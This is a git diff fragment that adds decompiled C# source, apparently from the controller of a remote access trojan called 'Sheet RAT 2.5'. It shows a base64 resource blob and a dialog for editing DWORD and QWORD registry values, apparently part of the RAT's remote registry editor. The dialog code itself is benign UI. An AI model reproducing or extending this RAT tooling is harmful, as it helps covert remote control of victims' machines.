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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRegValueEditWord.cs b/Server/Server/Forms/FormRegValueEditWord.cs new file mode 100644 index 0000000..97d0f7f --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditWord.cs @@ -0,0 +1,273 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRegValueEditWord +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Microsoft.Win32; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRegValueEditWord : MetroForm +{ + private readonly RegistrySeeker.RegValueData _value; + private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; + private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; + private IContainer components; + private GroupBox baseBox; + private RadioButton radioDecimal; + private RadioButton radioHexa; + private MetroLabel metroLabel2; + private MetroLabel metroLabel1; + private MetroButton okButton; + private MetroButton cancelButton; + private MetroTextBox valueNameTxtBox; + private WordTextBox valueDataTxtBox; + + public FormRegValueEditWord(RegistrySeeker.RegValueData value) + { + this._value = value; + this.InitializeComponent(); + this.valueNameTxtBox.Text = value.Name; + if (value.Kind == RegistryValueKind.DWord) + { + this.Text = "Edit DWORD (32-bit) Value"; + this.valueDataTxtBox.Type = WordTextBox.WordType.DWORD; + this.valueDataTxtBox.Text = Server.Helper.ByteConverter.ToUInt32(value.Data).ToString("x"); + } + else + { + this.Text = "Edit QWORD (64-bit) Value"; + this.valueDataTxtBox.Type = WordTextBox.WordType.QWORD; + this.valueDataTxtBox.Text = Server.Helper.ByteConverter.ToUInt64(value.Data).ToString("x"); + } + } + + private void radioHex_CheckboxChanged(object sender, EventArgs e) + { + if (this.valueDataTxtBox.IsHexNumber == this.radioHexa.Checked) + return; + if (this.valueDataTxtBox.IsConversionValid() || this.IsOverridePossible()) + this.valueDataTxtBox.IsHexNumber = this.radioHexa.Checked; + else + this.radioDecimal.Checked = true; + } + + private void okButton_Click(object sender, EventArgs e) + { + if (this.valueDataTxtBox.IsConversionValid() || this.IsOverridePossible()) + { + this._value.Data = this._value.Kind == RegistryValueKind.DWord ? Server.Helper.ByteConverter.GetBytes(this.valueDataTxtBox.UIntValue) : Server.Helper.ByteConverter.GetBytes(this.valueDataTxtBox.ULongValue); + this.Tag = (object) this._value; + this.DialogResult = DialogResult.OK; + } + else + this.DialogResult = DialogResult.None; + this.Close(); + } + + private DialogResult ShowWarning(string msg, string caption) + { + return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation); + } + + private bool IsOverridePossible() + { + return this.ShowWarning(this._value.Kind == RegistryValueKind.DWord ? "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?" : "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?", "Overflow") == DialogResult.Yes; + } + + private void FormRegValueEditWord_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.valueNameTxtBox.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.okButton.Theme = Customs.customs.Theme; + this.cancelButton.Theme = Customs.customs.Theme; + this.valueDataTxtBox.BackColor = Customs.customs.ThemeToColor(); + this.valueNameTxtBox.BackColor = Customs.customs.ThemeToColor(); + this.radioHexa.BackColor = Customs.customs.ThemeToColor(); + this.radioDecimal.BackColor = Customs.customs.ThemeToColor(); + this.baseBox.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.Style = Customs.customs.Style; + this.valueNameTxtBox.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.okButton.Style = Customs.customs.Style; + this.cancelButton.Style = Customs.customs.Style; + this.valueDataTxtBox.ForeColor = Customs.customs.StyleToColor(); + this.valueNameTxtBox.ForeColor = Customs.customs.StyleToColor(); + this.radioHexa.ForeColor = Customs.customs.StyleToColor(); + this.radioDecimal.ForeColor = Customs.customs.StyleToColor(); + this.baseBox.ForeColor = Customs.customs.StyleToColor(); + } + + private void metroLabel1_Click(object sender, EventArgs e) + { + } + + private void valueNameTxtBox_Click(object sender, EventArgs e) + { + } + + private void valueDataTxtBox_Click(object sender, EventArgs e) + { + } + + private void metroLabel2_Click(object sender, EventArgs e) + { + } + + private void baseBox_Enter(object sender, EventArgs e) + { + } + + private void okButton_Click_1(object sender, EventArgs e) + { + } + + private void cancelButton_Click(object sender, EventArgs e) + { + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRegValueEditWord)); + this.baseBox = new GroupBox(); + this.radioDecimal = new RadioButton(); + this.radioHexa = new RadioButton(); + this.metroLabel2 = new MetroLabel(); + this.metroLabel1 = new MetroLabel(); + this.okButton = new MetroButton(); + this.cancelButton = new MetroButton(); + this.valueNameTxtBox = new MetroTextBox(); + this.valueDataTxtBox = new WordTextBox(); + this.baseBox.SuspendLayout(); + this.SuspendLayout(); + this.baseBox.Controls.Add((Control) this.radioDecimal); + this.baseBox.Controls.Add((Control) this.radioHexa); + this.baseBox.ForeColor = System.Drawing.Color.Lime; + this.baseBox.Location = new Point(253, 114); + this.baseBox.Margin = new Padding(4); + this.baseBox.Name = "baseBox"; + this.baseBox.Padding = new Padding(4); + this.baseBox.Size = new Size(208 /*0xD0*/, 84); + this.baseBox.TabIndex = 14; + this.baseBox.TabStop = false; + this.baseBox.Text = "Base"; + this.baseBox.Enter += new EventHandler(this.baseBox_Enter); + this.radioDecimal.AutoSize = true; + this.radioDecimal.Location = new Point(19, 53); + this.radioDecimal.Margin = new Padding(4); + this.radioDecimal.Name = "radioDecimal"; + this.radioDecimal.Size = new Size(79, 21); + this.radioDecimal.TabIndex = 4; + this.radioDecimal.Text = "Decimal"; + this.radioDecimal.UseVisualStyleBackColor = true; + this.radioHexa.AutoSize = true; + this.radioHexa.Checked = true; + this.radioHexa.Location = new Point(19, 22); + this.radioHexa.Margin = new Padding(4); + this.radioHexa.Name = "radioHexa"; + this.radioHexa.Size = new Size(109, 21); + this.radioHexa.TabIndex = 3; + this.radioHexa.TabStop = true; + this.radioHexa.Text = "Hexadecimal"; + this.radioHexa.UseVisualStyleBackColor = true; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(11, 110); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(75, 20); + this.metroLabel2.TabIndex = 31 /*0x1F*/; + this.metroLabel2.Text = "Value data:"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroLabel2.Click += new EventHandler(this.metroLabel2_Click); + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(12, 61); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(84, 20); + this.metroLabel1.TabIndex = 30; + this.metroLabel1.Text = "Value name:"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroLabel1.Click += new EventHandler(this.metroLabel1_Click); + this.okButton.Location = new Point(305, 205); + this.okButton.Name = "okButton"; + this.okButton.Size = new Size(75, 31 /*0x1F*/); + this.okButton.TabIndex = 29; + this.okButton.Text = "Ok"; + this.okButton.Theme = MetroThemeStyle.Dark; + this.okButton.Click += new EventHandler(this.okButton_Click_1); + this.cancelButton.Location = new Point(386, 205); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new Size(75, 31 /*0x1F*/); + this.cancelButton.TabIndex = 28; + this.cancelButton.Text = "Cancel"; + this.cancelButton.Theme = MetroThemeStyle.Dark; + this.cancelButton.Click += new EventHandler(this.cancelButton_Click); + this.valueNameTxtBox.Location = new Point(12, 84); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.Size = new Size(459, 23); + this.valueNameTxtBox.TabIndex = 27; + this.valueNameTxtBox.Theme = MetroThemeStyle.Dark; + this.valueNameTxtBox.UseStyleColors = true; + this.valueNameTxtBox.Click += new EventHandler(this.valueNameTxtBox_Click); + this.valueDataTxtBox.BackColor = System.Drawing.Color.Black; + this.valueDataTxtBox.ForeColor = System.Drawing.Color.Yellow; + this.valueDataTxtBox.IsHexNumber = false; + this.valueDataTxtBox.Location = new Point(11, 136); + this.valueDataTxtBox.Margin = new Padding(4); + this.valueDataTxtBox.MaxLength = 8; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new Size(227, 22); + this.valueDataTxtBox.TabIndex = 32 /*0x20*/; + this.valueDataTxtBox.Type = WordTextBox.WordType.DWORD; + this.AutoScaleDimensions = new SizeF(8f, 16f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(483, 257); + this.Controls.Add((Control) this.valueDataTxtBox); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.okButton); + this.Controls.Add((Control) this.cancelButton); + this.Controls.Add((Control) this.valueNameTxtBox); + this.Controls.Add((Control) this.baseBox); + this.Cursor = Cursors.Default; + this.ForeColor = System.Drawing.Color.Yellow; + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Margin = new Padding(4); + this.Name = nameof (FormRegValueEditWord); + this.Text = nameof (FormRegValueEditWord); + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRegValueEditWord_Load); + this.baseBox.ResumeLayout(false); + this.baseBox.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormRegValueEditWord.resx b/Server/Server/Forms/FormRegValueEditWord.resx new file mode 